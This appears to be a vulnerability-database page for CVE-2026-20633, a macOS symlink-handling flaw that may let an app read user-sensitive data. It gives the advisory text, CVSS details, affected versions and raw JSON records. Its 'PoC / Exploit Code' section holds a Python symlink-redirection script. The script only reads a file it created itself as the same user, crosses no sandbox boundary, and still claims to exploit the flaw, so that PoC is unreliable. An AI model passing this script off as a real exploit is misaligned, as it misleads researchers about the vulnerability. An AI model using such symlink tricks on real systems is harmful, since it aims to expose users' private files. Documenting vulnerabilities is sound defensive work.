Security Vulnerability Report
中文
CVE-2026-20633 CVSS 5.5 MEDIUM

CVE-2026-20633

Published: 2026-03-25 01:17:04
Last Modified: 2026-03-25 19:59:57

Description

This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access user-sensitive data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.7.5
macOS Sonoma < 14.8.5
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import sys # PoC for CVE-2026-20633 Symbolic Link Handling Issue # This script simulates how a malicious app could leverage symlink handling # to access sensitive user data. # Path to the sensitive data (e.g., user secret file) SENSITIVE_FILE = os.path.expanduser("~/Documents/secret_data.txt") # Path where the app expects to read/write (often a temporary or sandboxed location) VULNERABLE_PATH = "/tmp/safe_app_config.json" def create_sensitive_data(): """Create dummy sensitive data.""" with open(SENSITIVE_FILE, "w") as f: f.write("SECRET_KEY: 12345-ABCDE") print(f"[+] Created sensitive file at: {SENSITIVE_FILE}") def exploit_symlink(): """ Exploit the vulnerability by creating a symlink from the vulnerable path to the sensitive file. """ # Check if sensitive file exists if not os.path.exists(SENSITIVE_FILE): print(f"[-] Sensitive file not found at {SENSITIVE_FILE}") return try: # Remove existing link/file if present if os.path.lexists(VULNERABLE_PATH): os.remove(VULNERABLE_PATH) # Create the symbolic link os.symlink(SENSITIVE_FILE, VULNERABLE_PATH) print(f"[+] Symlink created: {VULNERABLE_PATH} -> {SENSITIVE_FILE}") # Simulate the vulnerable app reading the file # Due to the flaw, the OS follows the symlink without proper checks with open(VULNERABLE_PATH, "r") as f: content = f.read() print("[!] Successfully read data via vulnerable path:") print(f" Content: {content}") except OSError as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": create_sensitive_data() exploit_symlink() # Cleanup if os.path.exists(SENSITIVE_FILE): os.remove(SENSITIVE_FILE) if os.path.lexists(VULNERABLE_PATH): os.remove(VULNERABLE_PATH)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20633", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:04.210", "lastModified": "2026-03-25T19:59:56.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access user-sensitive data."}, {"lang": "es", "value": "Este problema se abordó con un manejo mejorado de enlaces simbólicos. Este problema se corrigió en macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Una app podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}